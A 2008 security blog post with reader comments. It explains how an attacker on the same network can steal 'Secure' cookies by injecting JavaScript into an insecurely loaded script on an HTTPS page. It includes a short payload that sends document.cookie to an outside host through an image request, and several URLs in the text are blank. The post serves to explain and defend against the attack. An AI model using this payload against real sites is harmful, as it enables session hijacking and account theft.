Wednesday, September 24th, 2008

Surf Jacking Secure Cookies

I was thinking back to Sandro’s paper on Surf Jacking and I realized that there was one small caveat where the “Secure” flag wouldn’t protect your cookies from Surf Jacking…

The Side Jacking and Surf Jacking techniques basically stipulate that the attacker has to be on the same network segment as the victim (you have to be able to sniff the traffic in order to see the cookie go by on the network)… So I’ll stipulate the same.

Say I go to and sets a cookie, but sets it with the “Secure” flag.  An attacker could eventually force my browser to load a non-secure version of ( in an attempt to force my session cookie to travel in the clear so they can sniff the cookie as it goes by (this is a simplified description of Surf Jacking).  Now, if all my cookies are set secure, my cookies won’t travel over the wire in the clear…  I’m safe… right?

Not so fast…  If application sets all the cookies with the secure flag, BUT the web application also has a “script src” tag pointing to an insecure location (http://) then you can STILL STEAL THE COOKIE, even if its marked secure.   Let me explain…

If an attacker is on the same network segment as you, not only can they sniff clear text data (http://) they can also INJECT data as it traverses the network.   Let’s say I have a page on that does analytics for my web application.  We’ll name this page  This page is meant to be served as http:// and contains no sensitive data, but if a user makes a direct request for the page is still served.  Inside of the page’s HTML is a script src tag that looks something like this:

<script src=””></script>

Now, using the surf jack technique, Sandro redirected the victim to an http:// version of the targeted site.  In our case, redirecting to an insecure version of the site doesn’t help us as all the cookies are set SECURE.  Instead, we’ll redirect to an https:// page on our victim domain that contains an insecure script src tag like the one shown above (  Once we see the request for the insecure javascript file (webbugs.js) file, we can inject our own javascript cookie stealing payload (as the script src request is made in the clear):

CookiesStealer = new Image();

CookiesStealer.src = “”+document.cookie;

The injected script is executed by the page that loaded it and gives up the cookies for the domain, even if they are marked secure.  There you go… Secure cookies stolen.

Without warning or prompt, every browser I tested allowed an https:// page to load a script src from an insecure http:// location.  Ok… I lied… every browser EXCEPT ONE… can you guess which lonely browser provided a warning before allowing an https:// page to load a script from an http:// location?  You can find the answer here.  For those of you in disbelief, you can test your favorite browser(s) here.

SIDENOTE: HTTP pages that call document.cookie will NOT have access to SECURE cookies… well at least in the browsers that I checked… that’s pretty cool…

CLARIFICATION ON SIDENOTE: From my tests (which only covered a few browsers) it seems that the document.cookie object called from an http:// page WILL NOT contain secure cookies (this is a GOOD thing). So, if I were able to inject a full http:// page and called document.cookie, the secure cookie would be missing. This is why I needed to call an https:// page with a script src that loaded an insecure script file.

Posted by xssniper | Filed in Network Security, Security, Web Application Security

11 Responses to “Surf Jacking Secure Cookies”

  1. September 24th, 2008 at 3:53 am

    Andre Gironda said:

    NoScript stops this if you whitelist by “Full Address (” and only allow the SSL mode. I often find that I will refuse to run scripts that are non-SSL if I’m already using SSL — even if it breaks everything. Although IE7 and IE8 are quickly becoming better friends to me, especially for the masses. Wehntrust and IE8 on XPSP3 (or IE8 on Vista) seems fairly solid, if only Flash and PDF exploits weren’t so popular…

  2. September 24th, 2008 at 6:19 am

    Hugo said:

    Your SIDENOTE confuses me. If you say, that document.cookie is not accessable for SECURE cookies, how can you steal it?

    Perhaps you could rephrase that SIDENOTE to not confuse :)

  3. September 24th, 2008 at 8:31 am

    barbsie said:

    Nice. There’s tons of stuff you can do with MitM attacks. It’s IMHO way more efficient to target the client instead of the server with MitM.
    What about injecting CSRF and XSS with beef ( Collecting hits, clickfraud etc…

  4. September 24th, 2008 at 8:36 am

    Sandro Gauci said:

    Yes this sort of thing makes the secure flag useless. An attacker can do virtually anything, from stealing the secure cookie (as you described), to controlling the victim’s browser remotely, to stealing page contents, install a js keystroke logger.

    Referencing js scripts on HTTP from an HTTPS site is such a bad idea. Yet I’m sure that there are a lot of sites that do it.

    And I think there’s other issues to consider apart from cookie stealing. For example, most HTTPS connections are actually started from a link on an HTTP site. Are you thinking what I’m thinking? 😉

    Dan went through this in his BH talk.. and probably others did as well. At this point I think that the way that we do “secure HTTP” is so broken..

  5. September 24th, 2008 at 8:46 am

    x-tense said:

    The attack presented is more XSS than surf jacking doesn’t it ?

  6. September 24th, 2008 at 12:45 pm

    xssniper said:

    @barbsie and @x-tense: I completely agree… this is basically a way to “inject” XSS into an SSL site without presenting the user a SSL cert/mixed content warning (on most browsers). Starbux wi-fi just got a little more dangerous (not that it isn’t dangerous enough) :)

    @Andre and @Sandro: I agree with you both. I think SECURE cookies are a solid mitigation… but the current state of implementation weakens the protections significantly

  7. October 18th, 2008 at 1:58 pm

    wheelq said:


    can u contact me at my mail please? I’ve made a post on our website but didn’t get an answer, and it’s quite important for me.


  8. February 24th, 2009 at 11:16 am

    jasper said:

    My concern is the “warning” that the page is loading secure and insecure items. Most people would click “yes” to this prompt – boom! Pwned!

  9. February 24th, 2009 at 12:17 pm

    xssniper said:

    True… there is a warning in Internet Explorer, however every other browser I tested did NOT have a mixed content or the warning was given AFTER the mixed content was loaded.

    But you are right… even with a warning its difficult for a regular user to make an informed decision.

  10. March 12th, 2009 at 11:08 am

    L’uomo nel mezzo tutto vede e tutto può - Appunti Digitali said:

    […] in attesa che un utente sprovveduto si colleghi ad un sito non protetto da SSL (benché esistano attacchi ben noti anche per siti protetti con SSL!) e fornisca le sue credenziali in chiaro come token […]

  11. November 9th, 2009 at 10:48 am

    Matt said:

    A cookie with both the secure flag and the httponly option will resist this attack. Browser won’t send cookie in header and won’t allow JS to access it.

Please leave a Comment